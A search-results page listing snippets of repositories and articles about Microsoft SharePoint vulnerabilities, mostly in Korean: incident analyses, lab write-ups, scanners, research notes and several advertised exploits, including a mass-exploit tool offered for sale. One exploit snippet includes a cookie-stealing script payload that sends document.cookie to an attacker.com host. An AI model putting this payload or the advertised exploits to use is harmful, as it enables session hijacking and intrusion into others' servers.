9771 matches found
SharePoint-ToolShell-CVE-2025-53770-Incident-Analysis
SharePoint ToolShell CVE-2025-53770 사고 분석 개요 이 프로젝트는 ToolShell 취약점CVE-2025-53770을 이용하여 SharePoint 서버를 표적으로 삼은 실제 공격 시도에 대한 조사 내용을 기록합니다. 이 공격은 원격 코드 실행, 웹쉘 배포, 자격 증명 데이터 추출을 포함한 전체 악용 체인을 보여줍니다. 초기 접근 공격은 SharePoint 서버를 표적으로 하는 CVE-2025-53770 악용을 나타내는 의심스러운 경보로 시작되었습니다. 악용 요청 인증되지 않은 HTTP POST 요청...
CVE-2026-55040-Mass-Exploit
Microsoft SharePoint용 JWT 토큰 우회 익스플로잇 CVE-2026-55040, CVSS 9.1 세 가지 공격 벡터를 사용하여 인증 토큰을 위조합니다: "none" 알고리즘 서명 검증 우회 취약한 HS256 시크릿 무차별 대입 사전 지원 포함 RS256 키 대체 관리자를 포함한 모든 사용자로 가장할 수 있습니다. 단일 대상 익스플로잇, 자동화된 curl 기반 공격, 대량 대상용 대량 공격 모드를 포함합니다. Python 3 필요. https://satoshidisk.com/pay/CSGDgs...
CVE-2026-63520
CVE-2026-63520 SharePoint 안전하지 않은 타입 RCE + CVE-2026-55040 체인 Microsoft SharePoint Server에서의 인증 없는 RCE. 자격 증명 불필요. Stephen FewerRapid7는 Pwn2Own Berlin 2026에서 CVE-2026-55040을 시연했습니다. Rapid7은 후속 연구 중 CVE-2026-63520을 발견했고, VulnCheck는 독립적으로 대체 가젯 체인을 발견했습니다. 이 두 버그를 함께 사용하면 패치되지 않은 인터넷상의 모든 SharePoint...
sparty
Sparty - Sharepoint/Frontpage 감사 도구 ! 작성자: Aditya K Sood |[email protected] | 2013 Twitter: @AdityaKSood 제공: SecNiche Security Labs ! Sparty는 Sharepoint 및 Frontpage 아키텍처를 사용하는 웹 애플리케이션을 감사하기 위해 Python으로 작성된 오픈 소스 도구입니다. 이 도구의 동기는 Sharepoint 및 Frontpage 기반 웹 애플리케이션의 보안 구성을 쉽고 강력하게 검사할 수 있는 방법을...
CVE-2025-54897-LAB
Lab: CVE-2025-54897 - Microsoft Office SharePoint의 역직렬화 취약점 🚀 개요 이 랩은 Microsoft Office SharePoint에서 원격 코드 실행RCE을 가능하게 하는 역직렬화 취약점을 시연합니다. 이 문제는 SharePoint의 객체 역직렬화 루틴 내에서 신뢰할 수 없는 직렬화 데이터를 부적절하게 처리하여 발생하며, 인증된 공격자가 대상 서버에서 임의의 코드를 실행할 수 있게 합니다. CVSSv3 점수 8.8의 높은 심각도 취약점으로, Enterprise Server 2016,...
CVE-2023-29357-Check
CVE-2023-29357 Microsoft SharePoint Server 권한 상승 취약점 이 스크립트는 대상이 CVE-2023-29357에 취약한지 여부를 알려줍니다. 사용법 python3 script.py 면책 조항 이 스크립트는 교육 목적으로만 제공됩니다. 사전 상호 동의 없이 대상을 대상으로 사용하지 마십시오. 참고 자료 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2023-29357...
CVE-2026-32201-exploit
개요 CVE-2026-32201에 대한 Python 익스플로잇 - Microsoft SharePoint Server의 부적절한 입력 검증으로, 인증되지 않은 네트워크 스푸핑을 허용합니다 C:L/I:L. 영향 대상: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint /layouts/15/notify.aspx 출력 예시: + SharePoint 감지됨...
cve-2025-53770-research
cve-2025-53770-research 🚨 SharePoint "ToolShell" RCE 제로데이CVE-2025-53770에 대한 위협 인텔리전스 및 침해 대응 연구. 🕵️♂️ 근본 원인 역직렬화 결함, 공격 타임라인, 위험 지표, 방어 EDR 검증 플레이북을 다룹니다. 🛡️ 🕵️ CVE-2025-53770 — SharePoint "ToolShell" 제로데이 연구 Microsoft SharePoint "ToolShell" RCE 제로데이에 대한 위협 인텔리전스 및 침해 대응 연구. 근본 원인 역직렬화 결함, 공격...
Sharepoint-cve-2023-29375-incident-response
SOC 인시던트 분석: Microsoft SharePoint Server 권한 상승 CVE-2023-29375 Microsoft SharePoint 서버를 대상으로 한 치명적인 익스플로잇 및 열거 시도에 대한 심층 보안 조사입니다. 인시던트 개요 경보 이름: SOC227 - Microsoft SharePoint Server 권한 상승 - CVE-2023-29375 악용 가능 심각도: 치명적 날짜/시간: 2023년 10월 6일 오후 8시 5분 대상 호스트명: MS-SharePointServer 대상 IP / 포트:...
LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320
🧠 LetsDefend SharePoint 제로데이 분석 ToolShell - SOC342-CVE-2025-53770 📘 소개 저는 LetsDefend 사이버 랩에서 ToolShell CVE-2025-53770 이라는 SharePoint 제로데이를 조사했습니다. 이 실습은 악성 POST 요청이 인증을 우회하고, PowerShell을 실행해 MachineKeySection 키를 탈취하고, payload.exe를 컴파일한 뒤 악성 웹 셸spinstall0.aspx을 설치하는 실제 제로데이 RCE 공격 을 모의했습니다. 이...
it-sec-toolshell
ToolShell — SharePoint 제로데이 프레젠테이션 CVE-2025-53770에 관한 Marp 슬라이드 덱으로, 각 슬라이드는 slides/ 아래의 별도 파일로 유지됩니다. 빌드 ./build.sh assemble slides into presentation.md ./build.sh html + render presentation.html ./build.sh pdf + render presentation.pdf ./build.sh all + HTML, PDF, and PNG preview of every slide ...
Microsoft SharePoint Server - Authentication Bypass
Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network. id: CVE-2025-49706 info: name: Microsoft SharePoint Server - Authentication Bypass author: daffainfo severity: medium description: | Improper authentication in Microsoft Offi...
CVE-2019-0604_sharepoint_CVE
CVE-2019-0604 CVE-2019-0604 출처: https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability...
September "In the Trend of VM" (#31): vulnerabilities in TeamCity, TrueConf, SharePoint, Windows, and Zimbra Collaboration
September "In the Trend of VM" 31: vulnerabilities in TeamCity, TrueConf, SharePoint, Windows, and Zimbra Collaboration. Here is the traditional monthly roundup of trending vulnerabilities according to Positive Technologies. The previous August edition featured four vulnerabilities. This time,...
CVE-2025-53770
CVE-2025-53770 이 스캐너는 SharePoint 비인증 원격 코드 실행 취약점CVE-2025-53770로 지정됨을 위한 것입니다. 이 코드는 실제 환경에서 발견된 페이로드를 리버스 엔지니어링하여 작성되었습니다. 사용에 따른 책임은 본인에게 있으며, 이로 인해 발생하는 부정적인 영향에 대해 책임지지 않습니다. 작동 방식 SharePoint ToolBox 위젯에 마커를 주입하여 취약점을 악용하려고 시도합니다. SharePoint 서버 응답에서 이 무해한 마커가 발견되면 해당 호스트는 취약한 것으로 표시됩니다. 사용 방법...
CVE-2026-45659
CVE-2026-45659 Microsoft Office SharePoint의 신뢰할 수 없는 데이터 역직렬화로 인해 인증된 공격자가 네트워크를 통해 코드를 실행할 수 있습니다. ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 랩 환경 승인된 침투 테스트 환경 예제 설정: git clone cd 예제 사용법: Install dependencies pip install -r requirements.txt Basic command execution...
sharepoint-deserialization-security-assessment
CVE-2026-45659 - Microsoft SharePoint Deserialization RCE 컨설턴트 스타일 사이버보안 보고서 SharePoint 역직렬화 위험에 대한 전문 취약점 평가 보고서로, 경영진 요약, 기술적 영향, 수정 및 완화 전략을 포함합니다. 📍 보고서 개요 필드| 세부사항 ---|--- 보고서 유형| 취약점 평가 보고서 관여 컨텍스트| 보안 연구 주요 초점| 엔터프라이즈 협업 보안 대상 독자| 보안 팀, 엔지니어링 팀, 채용 담당자 출력 스타일| 경영진 요약, 기술 분석, 비즈니스 영향, 수정 로드...
CVE-2025-49706-SharePoint-Spoofing-Vulnerability-Under-Active-Exploitation
🚨 CVE-2025-49706 – Уязвимость подмены SharePoint, активно эксплуатируемая Автор: Адитья Бхатт – Специалист по VAPT | Red Teamer 📌 TL;DR Microsoft SharePoint находится под активной угрозой. CVE‑2025‑49706, уязвимость подмены в SharePoint Server, перешла от среднего уровня серьезности к реальному...
presentations
내 발표 더 많은 자료는 제 개인 사이트에서 확인할 수 있습니다: https://sites.google.com/site/zhiniangpeng EXSi의 preauth RCE 및 샌드박스 탈출 취약점 악용, Typhooncon 2023 OLE 객체는 오늘날에도 여전히 위험합니다 — Microsoft Office 악용, POC 2023 Django-Simple-Captcha — JumpServer Preauth RCE, Mosec BaijiuCon 2023 APT vs GPT, 2023년 캠퍼스 토크 vSphere 공격·방어 기...